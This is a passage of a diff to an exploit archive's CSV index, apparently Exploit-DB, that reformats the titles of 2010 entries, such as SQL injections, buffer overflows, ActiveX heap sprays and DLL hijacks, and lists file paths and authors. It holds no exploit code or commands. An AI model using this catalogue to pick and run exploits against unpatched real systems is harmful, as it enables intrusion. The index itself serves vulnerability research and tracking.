 14447,platforms/windows/remote/14447.html,"Multiple Web Browser Clickjacking Vulnerability (FF3.6.7/SM 2.0.6)",2010-07-23,"Pouya Daneshmand",windows,remote,0
 14448,platforms/php/webapps/14448.txt,"Joomla Component (com_golfcourseguide) SQL Injection Vulnerability",2010-07-23,Valentin,php,webapps,0
 14449,platforms/php/webapps/14449.txt,"Joomla Component (com_huruhelpdesk) SQL Injection Vulnerability",2010-07-23,Amine_92,php,webapps,0
 14450,platforms/php/webapps/14450.txt,"Joomla Component (com_iproperty) SQL Injection Vulnerability",2010-07-23,Amine_92,php,webapps,0
-14451,platforms/windows/remote/14451.rb,"Easy FTP Server v1.7.0.11 LIST Command Remote BoF Exploit (Post Auth) - (meta)",2010-07-23,"Muhamad Fadzil Ramli",windows,remote,0
+14451,platforms/windows/remote/14451.rb,"Easy FTP Server 1.7.0.11 - LIST Command Remote BoF Exploit (Post Auth) - (meta)",2010-07-23,"Muhamad Fadzil Ramli",windows,remote,0
 14452,platforms/linux/dos/14452.txt,"Ubuntu 10.04 LTS - Lucid Lynx ftp Client v0.17-19build1 ACCT Buffer Overflow",2010-07-23,d0lc3,linux,dos,0
 14453,platforms/php/webapps/14453.txt,"PhotoPost PHP 4.6.5 (ecard.php) SQL Injection Vulnerability",2010-07-23,CoBRa_21,php,webapps,0
 14454,platforms/php/webapps/14454.txt,"ValidForm Builder script Remote Command Execution Vulnerability",2010-07-23,"HaCkEr arar",php,webapps,0
@@ -12679,7 +12679,7 @@ id,file,description,date,author,platform,type,port
 14462,platforms/php/webapps/14462.txt,"Joomla Ozio Gallery Component (com_oziogallery) SQL Injection Vulnerability",2010-07-24,"ViRuS Qalaa",php,webapps,0
 14463,platforms/php/webapps/14463.txt,"Joomla ITArmory Component (com_itarmory) SQL Injection Vulnerability",2010-07-24,Craw,php,webapps,0
 14464,platforms/windows/local/14464.pl,"Mediacoder v0.7.3.4682 (.m3u) File Universal Buffer Overflow Exploit",2010-07-24,"hadji samir",windows,local,0
-14465,platforms/php/webapps/14465.txt,"sNews v1.7 (index.php?category) SQL Injection Vulnerability",2010-07-24,CoBRa_21,php,webapps,0
+14465,platforms/php/webapps/14465.txt,"sNews 1.7 - (index.php?category) SQL Injection Vulnerability",2010-07-24,CoBRa_21,php,webapps,0
 14466,platforms/php/webapps/14466.txt,"Joomla Component (com_joomdle) SQL Injection Vulnerability",2010-07-24,kaMtiEz,php,webapps,0
 14467,platforms/php/webapps/14467.txt,"Joomla Component (com_youtube) SQL Injection Vulnerability",2010-07-24,Forza-Dz,php,webapps,0
 14469,platforms/php/webapps/14469.txt,"XAOS CMS SQL Injection Vulnerability",2010-07-25,H-SK33PY,php,webapps,0
@@ -12691,7 +12691,7 @@ id,file,description,date,author,platform,type,port
 14477,platforms/windows/dos/14477.txt,"Media Player Classic Heap Overflow/DoS Vulnerability",2010-07-26,"Praveen Darshanam",windows,dos,0
 14481,platforms/php/webapps/14481.txt,"Joomla Component TTVideo 1.0 SQL Injection Vulnerability",2010-07-27,"Salvatore Fresta",php,webapps,0
 14482,platforms/windows/local/14482.py,"QQPlayer smi File Buffer Overflow Exploit",2010-07-27,"Lufeng Li",windows,local,0
-14483,platforms/php/webapps/14483.pl,"PunBB <= 1.3.4 and Pun_PM <= v1.2.6 Remote Blind SQL Injection Exploit",2010-07-27,Dante90,php,webapps,0
+14483,platforms/php/webapps/14483.pl,"PunBB <= 1.3.4 & Pun_PM <= 1.2.6 - Remote Blind SQL Injection Exploit",2010-07-27,Dante90,php,webapps,0
 14484,platforms/windows/dos/14484.html,"IE6 / 7 Remote Dos vulnerability",2010-07-27,"Richard Leahy",windows,dos,0
 14485,platforms/php/webapps/14485.txt,"nuBuilder 10.04.20 Local File Inclusion Vulnerability",2010-07-27,"John Leitch",php,webapps,0
 14488,platforms/php/webapps/14488.txt,"Joomla Component Appointinator 1.0.1 Multiple Remote Vulnerabilities",2010-07-27,"Salvatore Fresta",php,webapps,0
@@ -12699,9 +12699,9 @@ id,file,description,date,author,platform,type,port
 14490,platforms/php/webapps/14490.txt,"nuBuilder Remote File inclusion Vulnerability",2010-07-28,Ahlspiess,php,webapps,0
 14491,platforms/windows/local/14491.txt,"Zemana AntiLogger AntiLog32.sys <= 1.5.2.755 Local Privilege Escalation Vulnerability",2010-07-28,th_decoder,windows,local,0
 14492,platforms/windows/remote/14492.c,"Symantec AMS Intel Alert Handler Service Design Flaw",2010-07-28,Spider,windows,remote,0
-14494,platforms/php/webapps/14494.txt,"AV Arcade v3 Cookie SQL Injection Authentication Bypass",2010-07-28,saudi0hacker,php,webapps,0
+14494,platforms/php/webapps/14494.txt,"AV Arcade 3 - Cookie SQL Injection Authentication Bypass",2010-07-28,saudi0hacker,php,webapps,0
 14495,platforms/php/webapps/14495.txt,"Joomla Component PhotoMap Gallery 1.6.0 Multiple Blind SQL Injection",2010-07-28,"Salvatore Fresta",php,webapps,0
-14496,platforms/windows/remote/14496.py,"UPlusFTP Server v1.7.1.01 [ HTTP ] Remote Buffer Overflow [ Post Auth ]",2010-07-28,"Karn Ganeshen and corelanc0d3r",windows,remote,0
+14496,platforms/windows/remote/14496.py,"UPlusFTP Server 1.7.1.01 - HTTP Remote Buffer Overflow (Post Auth)",2010-07-28,"Karn Ganeshen and corelanc0d3r",windows,remote,0
 14497,platforms/windows/local/14497.py,"WM Downloader 3.1.2.2 2010.04.15 Buffer Overflow (SEH)",2010-07-28,fdisk,windows,local,0
 14499,platforms/php/webapps/14499.txt,"Joomla Component PBBooking 1.0.4_3 Multiple Blind SQL Injection",2010-07-29,"Salvatore Fresta",php,webapps,0
 14500,platforms/php/webapps/14500.txt,"Whizzy CMS 10.02 Local File Inclusion",2010-07-29,"Anarchy Angel",php,webapps,0
@@ -12712,11 +12712,11 @@ id,file,description,date,author,platform,type,port
 14505,platforms/windows/remote/14505.html,"BarCodeWiz Barcode ActiveX Control 3.29 BoF Exploit (SEH)",2010-07-30,loneferret,windows,remote,0
 14511,platforms/windows/dos/14511.pl,"ChordPulse 1.4 Denial of Service Vulnerability",2010-07-30,MadjiX,windows,dos,0
 14512,platforms/php/webapps/14512.txt,"Concept E-commerce SQL Injection Vulnerability",2010-07-31,Gendenk,php,webapps,0
-14514,platforms/windows/remote/14514.html,"SigPlus Pro v3.74 ActiveX LCDWriteString() Remote BoF JIT Spray - aslr/dep bypass",2010-07-31,mr_me,windows,remote,0
+14514,platforms/windows/remote/14514.html,"SigPlus Pro 3.74 - ActiveX LCDWriteString() Remote BoF JIT Spray - aslr/dep bypass",2010-07-31,mr_me,windows,remote,0
 14515,platforms/windows/dos/14515.pl,"Xmyplay 3.5.1 Denial of Service Vulnerability",2010-07-31,"hadji samir",windows,dos,0
 14517,platforms/windows/dos/14517.pl,"Xion Audio Player 1.0.125 Denial of Service Vulnerability",2010-07-31,"hadji samir",windows,dos,0
 14518,platforms/php/webapps/14518.txt,"Joomla Component Spielothek 1.6.9 Multiple Blind SQL Injection",2010-07-31,"Salvatore Fresta",php,webapps,0
-14519,platforms/windows/remote/14519.html,"Barcodewiz v3.29 Barcode ActiveX Control Remote Heap Spray Exploit (IE6/IE7)",2010-07-31,Dr_IDE,windows,remote,0
+14519,platforms/windows/remote/14519.html,"Barcodewiz 3.29 - Barcode ActiveX Control Remote Heap Spray Exploit (IE6/IE7)",2010-07-31,Dr_IDE,windows,remote,0
 14521,platforms/hardware/webapps/14521.txt,"Intellinet IP Camera MNC-L10 Authentication Bypass Vulnerability",2010-08-01,Magnefikko,hardware,webapps,0
 14522,platforms/windows/remote/14522.rb,"Xerver 4.32 Source Disclosure and HTTP Authentication Bypass",2010-08-01,"Ben Schmidt",windows,remote,0
 14523,platforms/php/webapps/14523.txt,"SnoGrafx (cat.php?cat) SQL Injection Vulnerability",2010-08-02,CoBRa_21,php,webapps,0
@@ -12727,25 +12727,25 @@ id,file,description,date,author,platform,type,port
 14531,platforms/php/webapps/14531.pdf,"Cybsec Advisory Multiple Cross-Site Scripting (XSS) in MyIT CRM",2010-08-02,"Juan Manuel Garcia",php,webapps,0
 14532,platforms/windows/local/14532.py,"Mini-stream RM-MP3 Converter/WMDownloader/ASX to MP3 Cnvrtr Stack Buffer Overflow",2010-08-02,"Praveen Darshanam",windows,local,0
 14533,platforms/windows/dos/14533.txt,"Avast! Internet Security 5.0 aswFW.sys kernel driver IOCTL Memory Pool Corruption",2010-08-03,x90c,windows,dos,0
-14534,platforms/php/webapps/14534.txt,"68KB v1.0.0rc4 Remote File Include Vulnerability",2010-08-03,eidelweiss,php,webapps,0
+14534,platforms/php/webapps/14534.txt,"68KB 1.0.0rc4 - Remote File Include Vulnerability",2010-08-03,eidelweiss,php,webapps,0
 14536,platforms/hardware/remote/14536.txt,"Unauthorized Access to Root NFS Export on EMC Celerra NAS Appliance",2010-08-03,"Trustwave's SpiderLabs",hardware,remote,0
 14537,platforms/multiple/dos/14537.txt,"Oracle MySQL 'ALTER DATABASE' Remote Denial Of Service Vulnerability",2010-08-03,"Shane Bester",multiple,dos,0
 14538,platforms/hardware/local/14538.txt,"Apple iOS pdf Jailbreak Exploit",2010-08-03,jailbreakme,hardware,local,0
 14539,platforms/windows/remote/14539.html,"FathFTP 1.8 (RasIsConnected Method) ActiveX Buffer Overflow (SEH)",2010-08-03,MadjiX,windows,remote,0
 14541,platforms/php/webapps/14541.txt,"WordPress NextGEN Smooth Gallery Blind SQL Injection Vulnerability",2010-08-03,kaMtiEz,php,webapps,0
-14545,platforms/windows/dos/14545.txt,"Progitek Visionner Photos v2.0 - File Format DOS",2010-08-03,antrhacks,windows,dos,0
+14545,platforms/windows/dos/14545.txt,"Progitek Visionner Photos 2.0 - File Format DOS",2010-08-03,antrhacks,windows,dos,0
 14547,platforms/windows/remote/14547.txt,"HP OpenView NNM 7.53 OvJavaLocale - Buffer Overflow Vulnerability",2010-08-03,"Nahuel Riva",windows,remote,0
 14550,platforms/windows/local/14550.py,"Exploit Easy RM to MP3 2.7.3.700 (.m3u , .pls , .smi , .wpl , .wax , .wvx , .ram)",2010-08-04,"Oh Yaw Theng",windows,local,0
-14551,platforms/windows/remote/14551.html,"FathFTP v1.8 (DeleteFile Method) ActiveX Buffer Overflow (SEH)",2010-08-04,MadjiX,windows,remote,0
+14551,platforms/windows/remote/14551.html,"FathFTP 1.8 - (DeleteFile Method) ActiveX Buffer Overflow (SEH)",2010-08-04,MadjiX,windows,remote,0
 14552,platforms/windows/remote/14552.html,"FathFTP 1.8 (EnumFiles Method) ActiveX Buffer Overflow (SEH)",2010-08-04,MadjiX,windows,remote,0
 14553,platforms/windows/remote/14553.html,"FathFTP 1.8 (FileExists Method) ActiveX Buffer Overflow (SEH)",2010-08-04,H4kr3m,windows,remote,0
 14555,platforms/windows/dos/14555.py,"Mediamonkey v. 3.2.1.1297 DOS POC",2010-08-05,anonymous,windows,dos,0
 14556,platforms/php/webapps/14556.txt,"Nuked-Klan Module Partenaires NK 1.5 Blind Sql Injection",2010-08-05,Metropolis,php,webapps,0
 14557,platforms/php/webapps/14557.txt,"sX-Shop (view_image.php) SQL Injection Vulnerability",2010-08-05,secret,php,webapps,0
 14558,platforms/php/webapps/14558.txt,"sX-Shop Multiple SQL Injection Vulnerabilities",2010-08-05,CoBRa_21,php,webapps,0
-14559,platforms/php/webapps/14559.txt,"APBoard v2.1.0 (board.php?id=) SQL Injection Vulnerability",2010-08-05,secret,php,webapps,0
-14560,platforms/php/webapps/14560.txt,"ccTiddly v1.7.6 Multiple Remote File Inclusion Vulnerabilities",2010-08-05,eidelweiss,php,webapps,0
-14562,platforms/php/webapps/14562.html,"Open Blog v1.2.1 CSRF Vulnerability",2010-08-05,"High-Tech Bridge SA",php,webapps,0
+14559,platforms/php/webapps/14559.txt,"APBoard 2.1.0 - (board.php?id=) SQL Injection Vulnerability",2010-08-05,secret,php,webapps,0
+14560,platforms/php/webapps/14560.txt,"ccTiddly 1.7.6 - Multiple Remote File Inclusion Vulnerabilities",2010-08-05,eidelweiss,php,webapps,0
+14562,platforms/php/webapps/14562.html,"Open Blog 1.2.1 - CSRF Vulnerability",2010-08-05,"High-Tech Bridge SA",php,webapps,0
 14563,platforms/php/webapps/14563.html,"BXR v0.6.8 CSRF Vulnerability",2010-08-05,"High-Tech Bridge SA",php,webapps,0
 14564,platforms/php/webapps/14564.html,"Amethyst v0.1.5 XSS Vulnerability",2010-08-05,"High-Tech Bridge SA",php,webapps,0
 14565,platforms/php/webapps/14565.html,"DiamondList v0.1.6 Cross Site Request Forgery Vulnerability",2010-08-05,"High-Tech Bridge SA",php,webapps,0
@@ -12754,13 +12754,13 @@ id,file,description,date,author,platform,type,port
 14570,platforms/php/webapps/14570.txt,"Joomla Component com_neorecruit 1.4 SQL Injection Vulnerability",2010-08-07,v3n0m,php,webapps,0
 14572,platforms/php/webapps/14572.txt,"Tycoon CMS Record Script SQL Injection Vulnerability",2010-08-07,Silic0n,php,webapps,0
 14573,platforms/linux/dos/14573.txt,"LibTIFF 'td_stripbytecount' NULL Pointer Dereference Remote Denial of Service Vulnerability",2010-08-07,"Tomas Hoger",linux,dos,0
-14576,platforms/windows/local/14576.c,"Mini-stream Ripper v3.1.2.1 Buffer Overflow (DEP Bypass)",2010-08-07,"fl0 fl0w",windows,local,0
+14576,platforms/windows/local/14576.c,"Mini-stream Ripper 3.1.2.1 - Buffer Overflow (DEP Bypass)",2010-08-07,"fl0 fl0w",windows,local,0
 14578,platforms/php/webapps/14578.php,"PHPKick v0.8 statistics.php SQL Injection Exploit",2010-08-08,garwga,php,webapps,0
-14580,platforms/windows/remote/14580.html,"Advanced File Vault(eSellerateControl350.dll) Activex Heap Spray 0-day",2010-08-08,"ThE g0bL!N",windows,remote,0
-14581,platforms/windows/local/14581.py,"myMP3-Player v3.0 Buffer Overflow Exploit",2010-08-08,"Oh Yaw Theng",windows,local,0
+14580,platforms/windows/remote/14580.html,"Advanced File Vault(eSellerateControl350.dll) Activex Heap Spray 0day",2010-08-08,"ThE g0bL!N",windows,remote,0
+14581,platforms/windows/local/14581.py,"myMP3-Player 3.0 - Buffer Overflow Exploit",2010-08-08,"Oh Yaw Theng",windows,local,0
 14582,platforms/windows/dos/14582.pl,"ffdshow Video Codec Denial of Service Vulnerability",2010-08-08,"Nishant Das Patnaik",windows,dos,0
 14584,platforms/windows/dos/14584.py,"QQ Computer Manager TSKsp.sys Local Denial of Service Exploit",2010-08-09,"Lufeng Li",windows,dos,0
-14585,platforms/php/webapps/14585.php,"kleeja 1.0.0RC6 Database Disclosure",2010-08-09,indoushka,php,webapps,0
+14585,platforms/php/webapps/14585.php,"kleeja 1.0.0RC6 Database Disclosure",2010-08-09,"indoushka salah el ddine",php,webapps,0
 14586,platforms/windows/remote/14586.html,"dBpowerAMP Audio Player 2 (FileExists) ActiveX Buffer Overflow Exploit",2010-08-09,"hadji samir",windows,remote,0
 14587,platforms/windows/dos/14587.py,"Visual MP3 Splitter & Joiner 6.1 Denial of Service Vulnerability",2010-08-09,"Oh Yaw Theng",windows,dos,0
 14589,platforms/php/webapps/14589.txt,"Php Nuke 8.x.x Blind SQL Injection Vulnerability",2010-08-09,ItSecTeam,php,webapps,0
@@ -12773,10 +12773,10 @@ id,file,description,date,author,platform,type,port
 14597,platforms/windows/dos/14597.py,"Mthree Development MP3 to WAV Decoder Denial of Service Vulnerability",2010-08-10,"Oh Yaw Theng",windows,dos,0
 14598,platforms/php/webapps/14598.txt,"Joomla Component Teams Multiple Blind SQL Injection Vulnerabilities",2010-08-10,"Salvatore Fresta",php,webapps,0
 14599,platforms/windows/remote/14599.txt,"AoA Audio Extractor Remote ActiveX SEH JIT Spray Exploit (ASLR+DEP Bypass)",2010-08-10,Dr_IDE,windows,remote,0
-14600,platforms/windows/remote/14600.html,"SopCast v3.2.9 New 0Day Remote Exploit",2010-08-10,Sud0,windows,remote,0
+14600,platforms/windows/remote/14600.html,"SopCast 3.2.9 - (0Day) Remote Exploit",2010-08-10,Sud0,windows,remote,0
 14601,platforms/windows/dos/14601.py,"Rosoft media player 4.4.4 SEH buffer overflow POC",2010-08-10,anonymous,windows,dos,0
 14602,platforms/multiple/remote/14602.txt,"Play! Framework <= 1.0.3.1 Directory Transversal Vulnerability",2010-08-10,kripthor,multiple,remote,0
-14604,platforms/windows/remote/14604.py,"Easy FTP BOF Vulnerabilities in NLST , NLST -al, APPE, RETR , SIZE and XCWD Commands",2010-08-10,"Rabih Mohsen",windows,remote,0
+14604,platforms/windows/remote/14604.py,"Easy FTP - BOF Vulnerabilities in NLST , NLST -al, APPE, RETR , SIZE and XCWD Commands",2010-08-10,"Rabih Mohsen",windows,remote,0
 14605,platforms/windows/remote/14605.html,"RSP MP3 Player OCX ActiveX Buffer Overflow (heap spray)",2010-08-10,MadjiX,windows,remote,0
 14606,platforms/multiple/webapps/14606.html,"Zendesk Multiple Vulnerabilities",2010-08-10,"Luis Santana",multiple,webapps,0
 14607,platforms/windows/dos/14607.py,"Microsoft SMB Server Trans2 Zero Size Pool Alloc (MS10-054)",2010-08-10,"Laurent Gaffie",windows,dos,0
@@ -12789,13 +12789,13 @@ id,file,description,date,author,platform,type,port
 14614,platforms/php/webapps/14614.txt,"clearBudget v0.9.8 Remote File Include Vulnerability",2010-08-11,Offensive,php,webapps,0
 14615,platforms/php/webapps/14615.txt,"phpMUR Remote File Disclosure Vulnerability",2010-08-11,Offensive,php,webapps,0
 14617,platforms/jsp/webapps/14617.txt,"Apache JackRabbit 2.0.0 webapp XPath Injection",2010-08-11,"ADEO Security",jsp,webapps,0
-14618,platforms/php/webapps/14618.txt,"SaurusCMS v4.7.0 Remote File Inclusion Vulnerability",2010-08-11,LoSt.HaCkEr,php,webapps,0
+14618,platforms/php/webapps/14618.txt,"SaurusCMS 4.7.0 - Remote File Inclusion Vulnerability",2010-08-11,LoSt.HaCkEr,php,webapps,0
 14620,platforms/windows/dos/14620.py,"RightMark Audio Analyzer 6.2.3 Denial of Service Vulnerability",2010-08-11,"Oh Yaw Theng",windows,dos,0
 14621,platforms/windows/dos/14621.py,"Abac Karaoke 2.15 Denial of Service Vulnerability",2010-08-11,"Oh Yaw Theng",windows,dos,0
 14622,platforms/php/webapps/14622.txt,"KnowledgeTree 3.5.2 Community Edition Permanent XSS Vulnerability",2010-08-11,fdisk,php,webapps,0
-14623,platforms/windows/remote/14623.py,"Easy FTP Server v1.7.0.11 Multiple Commands Remote Buffer Overflow Exploit (Post Auth)",2010-08-11,"Glafkos Charalambous ",windows,remote,21
-14624,platforms/windows/dos/14624.py,"JaMP Player v4.2.2.0 Denial of Service Vulnerability",2010-08-12,"Oh Yaw Theng",windows,dos,0
-14625,platforms/windows/dos/14625.py,"CombiWave Lite v4.0.1.4 Denial of Service Vulnerability",2010-08-12,"Oh Yaw Theng",windows,dos,0
+14623,platforms/windows/remote/14623.py,"Easy FTP Server 1.7.0.11 - Multiple Commands Remote Buffer Overflow Exploit (Post Auth)",2010-08-11,"Glafkos Charalambous ",windows,remote,21
+14624,platforms/windows/dos/14624.py,"JaMP Player 4.2.2.0 - Denial of Service Vulnerability",2010-08-12,"Oh Yaw Theng",windows,dos,0
+14625,platforms/windows/dos/14625.py,"CombiWave Lite 4.0.1.4 - Denial of Service Vulnerability",2010-08-12,"Oh Yaw Theng",windows,dos,0
 14628,platforms/win32/webapps/14628.txt,"PHP-Nuke-8.1-seo-Arabic Remote File Include",2010-08-12,LoSt.HaCkEr,win32,webapps,80
 14629,platforms/multiple/webapps/14629.html,"Kleeja Upload - CSRF Change Admin Password",2010-08-12,"KOLTN S",multiple,webapps,80
 14630,platforms/windows/local/14630.py,"Mediacoder 0.7.5.4710 ""Universal"" SEH Buffer Overflow Exploit",2010-08-12,Dr_IDE,windows,local,0
@@ -12808,8 +12808,8 @@ id,file,description,date,author,platform,type,port
 14641,platforms/multiple/remote/14641.py,"Adobe ColdFusion Directory Traversal Vulnerability",2010-08-14,unknown,multiple,remote,0
 14642,platforms/windows/dos/14642.txt,"Acrobat Acrobat Font Parsing Integer Overflow Vulnerability",2010-08-14,"Ramz Afzar",windows,dos,0
 14643,platforms/php/webapps/14643.txt,"sFileManager <= v.24a Local File Inclusion Vulnerability",2010-08-14,Pepelux,php,webapps,0
-14644,platforms/php/webapps/14644.html,"Multiple CSRF Vulnerabilities in Saurus CMS Admin Panel",2010-08-14,"Fady Mohammed Osman",php,webapps,0
-14645,platforms/php/webapps/14645.txt,"Sports Accelerator Suite v2.0 (news_id) Remote SQL Injection Vulnerability",2010-08-14,LiquidWorm,php,webapps,0
+14644,platforms/php/webapps/14644.html,"Saurus CMS Admin Panel - Multiple CSRF Vulnerabilities",2010-08-14,"Fady Mohammed Osman",php,webapps,0
+14645,platforms/php/webapps/14645.txt,"Sports Accelerator Suite 2.0 - (news_id) Remote SQL Injection Vulnerability",2010-08-14,LiquidWorm,php,webapps,0
 14646,platforms/windows/dos/14646.py,"CA Advantage Ingres 2.6 Multiple Buffer Overflow Vulnerabilities PoC",2010-08-14,fdisk,windows,dos,0
 14647,platforms/php/webapps/14647.php,"PHP-Fusion Local File Inclusion Vulnerability",2010-08-15,MoDaMeR,php,webapps,0
 14648,platforms/php/webapps/14648.txt,"GuestBook Script PHP (XSS/HTML Injection) Multiple Vulnerabilities",2010-08-15,"AnTi SeCuRe",php,webapps,0
@@ -12820,21 +12820,21 @@ id,file,description,date,author,platform,type,port
 14656,platforms/php/webapps/14656.txt,"Joomla Component Jgrid 1.0 Local File Inclusion Vulnerability",2010-08-16,"Salvatore Fresta",php,webapps,0
 14658,platforms/windows/remote/14658.txt,"123 Flashchat version 7.8 Multiple Remote Vulnerabilities",2010-08-16,Lincoln,windows,remote,0
 14659,platforms/php/webapps/14659.txt,"Joomla Component OnGallery SQL Injection Vulnerability",2010-08-16,"al bayraqim",php,webapps,0
-14663,platforms/windows/local/14663.py,"MUSE v4.9.0.006 (.m3u) Local Buffer Overflow Exploit",2010-08-16,"Glafkos Charalambous ",windows,local,0
-14664,platforms/windows/local/14664.py,"MUSE v4.9.0.006 (.pls) Local Universal Buffer Overflow (SEH)",2010-08-16,"Glafkos Charalambous ",windows,local,0
+14663,platforms/windows/local/14663.py,"MUSE 4.9.0.006 - (.m3u) Local Buffer Overflow Exploit",2010-08-16,"Glafkos Charalambous ",windows,local,0
+14664,platforms/windows/local/14664.py,"MUSE 4.9.0.006 - (.pls) Local Universal Buffer Overflow (SEH)",2010-08-16,"Glafkos Charalambous ",windows,local,0
 14666,platforms/windows/dos/14666.txt,"Microsoft Windows nt!NtCreateThread Race Condition with Invalid Code Segment (MS10-047)",2010-08-17,"Tavis Ormandy",windows,dos,0
 14667,platforms/windows/dos/14667.txt,"Microsoft Windows KTM Invalid Free with Reused Transaction GUID (MS10-047)",2010-08-17,"Tavis Ormandy",windows,dos,0
 14668,platforms/windows/dos/14668.txt,"Microsoft Windows win32k!xxxRealDrawMenuItem() Missing HBITMAP Bounds Checks",2010-08-17,"Tavis Ormandy",windows,dos,0
 14669,platforms/windows/dos/14669.txt,"Microsoft Windows win32k!GreStretchBltInternal() Does Not Handle src == dest",2010-08-17,"Tavis Ormandy",windows,dos,0
 14670,platforms/windows/dos/14670.txt,"Microsoft Windows nt!SeObjectCreateSaclAccessBits() Missed ACE Bounds Checks (MS10-047)",2010-08-17,"Tavis Ormandy",windows,dos,0
 14671,platforms/windows/dos/14671.py,"Brazip 9.0 (.zip File) Buffer Overflow Vulnerability (SEH)",2010-08-17,ItSecTeam,windows,dos,0
-14672,platforms/php/webapps/14672.txt,"Free Simple Software v1.0 Remote File Inclusion Vulnerability",2010-08-17,Dr.$audi,php,webapps,0
+14672,platforms/php/webapps/14672.txt,"Free Simple Software 1.0 - Remote File Inclusion Vulnerability",2010-08-17,Dr.$audi,php,webapps,0
 14673,platforms/windows/local/14673.py,"Triologic Media Player 8 (.m3u) Local Universal Unicode Buffer Overflow (SEH)",2010-08-17,"Glafkos Charalambous ",windows,local,0
-14674,platforms/windows/remote/14674.txt,"Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference (MS09-050)",2010-08-17,"Piotr Bania",windows,remote,0
+14674,platforms/windows/remote/14674.txt,"Microsoft Windows SRV2.SYS SMB Negotiate ProcessID Function Table Dereference (MS09-050)",2010-08-17,"Piotr Bania",windows,remote,0
 14676,platforms/windows/local/14676.pl,"A-PDF WAV to MP3 Converter 1.0.0 (.m3u) Stack Buffer Overflow",2010-08-17,d4rk-h4ck3r,windows,local,0
 14678,platforms/php/dos/14678.zip,"PHP 5.3.3 ibase_gen_id() off-by-one Overflow Vulnerability",2010-08-18,"Canberk BOLAT",php,dos,0
-14679,platforms/windows/dos/14679.pl,"VbsEdit v4.6.1.0 Denial of Service Vulnerability",2010-08-18,"C.G. Tan",windows,dos,0
-14681,platforms/windows/local/14681.py,"A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit",2010-08-18,Dr_IDE,windows,local,0
+14679,platforms/windows/dos/14679.pl,"VbsEdit 4.6.1.0 - Denial of Service Vulnerability",2010-08-18,"C.G. Tan",windows,dos,0
+14681,platforms/windows/local/14681.py,"A-PDF WAV to MP3 1.0.0 - Universal Local SEH Exploit",2010-08-18,Dr_IDE,windows,local,0
 14683,platforms/windows/dos/14683.py,"Httpdx 1.5.4 Multiple Denial of Service Vulnerabilities (http-ftp) PoC",2010-08-18,Dr_IDE,windows,dos,0
 14684,platforms/php/webapps/14684.php,"Open-Realty 2.5.7 Local File Disclosure Vulnerability",2010-08-18,"Nikola Petrov",php,webapps,0
 14685,platforms/windows/dos/14685.pl,"RockN Wav Editor 1.8 Denial of Service Vulnerability",2010-08-18,d4rk-h4ck3r,windows,dos,0
@@ -12849,19 +12849,19 @@ id,file,description,date,author,platform,type,port
 14695,platforms/windows/dos/14695.pl,"Karaoke Video Creator Denial of Service Vulnerability",2010-08-20,PASSEWORD,windows,dos,0
 14697,platforms/windows/shellcode/14697.c,"Windows XP SP3 English MessageBoxA Shellcode - 87 bytes",2010-08-20,"Glafkos Charalambous ",windows,shellcode,0
 14698,platforms/windows/dos/14698.py,"AV Music Morpher Gold 5.0.38 (.m3u) Denial of Service Vulnerability",2010-08-20,b0telh0,windows,dos,0
-14699,platforms/windows/dos/14699.py,"PlayPad Music Player v1.12 .mp3 Denial of Service Vulnerability",2010-08-20,"Praveen Darshanam",windows,dos,0
+14699,platforms/windows/dos/14699.py,"PlayPad Music Player 1.12 - (.mp3) Denial of Service Vulnerability",2010-08-20,"Praveen Darshanam",windows,dos,0
 14702,platforms/php/webapps/14702.txt,"Joomla Component com_zina SQL Injection Vulnerability",2010-08-21,"Th3 RDX",php,webapps,0
 14703,platforms/php/webapps/14703.txt,"Joomla Component Biblioteca 1.0 Beta Multiple SQL Injection Vulnerabilities",2010-08-21,"Salvatore Fresta",php,webapps,0
 14704,platforms/asp/webapps/14704.txt,"T-dreams Announcement Script SQL Injection Vulnerability",2010-08-21,"Br0wn Sug4r",asp,webapps,0
 14705,platforms/windows/dos/14705.c,"Microsoft Windows (IcmpSendEcho2Ex interrupting) Denial of Service Vulnerability",2010-08-21,l3D,windows,dos,0
 14706,platforms/windows/local/14706.py,"MS Excel Malformed FEATHEADER Record Exploit (MS09-067)",2010-08-21,Anonymous,windows,local,0
 14707,platforms/php/webapps/14707.txt,"Joomla Component (com_Fabrik) SQL Injection Vulnerability",2010-08-21,Mkr0x,php,webapps,0
-14709,platforms/asp/webapps/14709.txt,"netStartEnterprise v4.0 SQL Injection Vulnerability",2010-08-22,L1nK,asp,webapps,0
-14711,platforms/windows/dos/14711.py,"Tplayer V1R10 Denial of Service Vulnerability",2010-08-23,41.w4r10r,windows,dos,0
+14709,platforms/asp/webapps/14709.txt,"netStartEnterprise 4.0 - SQL Injection Vulnerability",2010-08-22,L1nK,asp,webapps,0
+14711,platforms/windows/dos/14711.py,"Tplayer V1R10 - Denial of Service Vulnerability",2010-08-23,41.w4r10r,windows,dos,0
 14712,platforms/php/webapps/14712.txt,"4images 1.7.8 Remote File Inclusion Vulnerability",2010-08-23,LoSt.HaCkEr,php,webapps,0
 14713,platforms/windows/dos/14713.py,"Abyssal Metal Player 2.0.9 Denial of Service Vulnerability",2010-08-23,41.w4r10r,windows,dos,0
 14714,platforms/php/webapps/14714.txt,"Ananta Gazelle CMS Multiple Vulnerabilities",2010-08-23,Sweet,php,webapps,0
-14716,platforms/php/webapps/14716.txt,"AneCMS SQL Injection Vulnerability in /registre/next",2010-08-23,Sweet,php,webapps,0
+14716,platforms/php/webapps/14716.txt,"AneCMS /registre/next - SQL Injection Vulnerability",2010-08-23,Sweet,php,webapps,0
 14717,platforms/php/webapps/14717.txt,"LINK CMS SQL Injection Vulnerability",2010-08-23,hacker@sr.gov.yu,php,webapps,0
 14718,platforms/php/webapps/14718.txt,"Joomla Component (com_zoomportfolio) SQL Injection Vulnerability",2010-08-23,"Chip D3 Bi0s",php,webapps,0
 14720,platforms/windows/local/14720.rb,"MicroP 0.1.1.1600 - 'mppl' Buffer Overflow Vulnerability",2010-08-23,"James Fitts",windows,local,0
@@ -12873,13 +12873,13 @@ id,file,description,date,author,platform,type,port
 14728,platforms/windows/local/14728.c,"Windows Live Email DLL Hijacking Exploit (dwmapi.dll)",2010-08-24,"Nicolas Krassas",windows,local,0
 14730,platforms/windows/local/14730.c,"Firefox <= 3.6.8 DLL Hijacking Exploit (dwmapi.dll)",2010-08-24,"Glafkos Charalambous ",windows,local,0
 14731,platforms/windows/local/14731.c,"Microsoft Windows Movie Maker <= 2.6.4038.0 DLL Hijacking Exploit (hhctrl.ocx)",2010-08-24,TheLeader,windows,local,0
-14732,platforms/windows/local/14732.c,"Opera v10.61 DLL Hijacking Exploit (dwmapi.dll)",2010-08-24,"Nicolas Krassas",windows,local,0
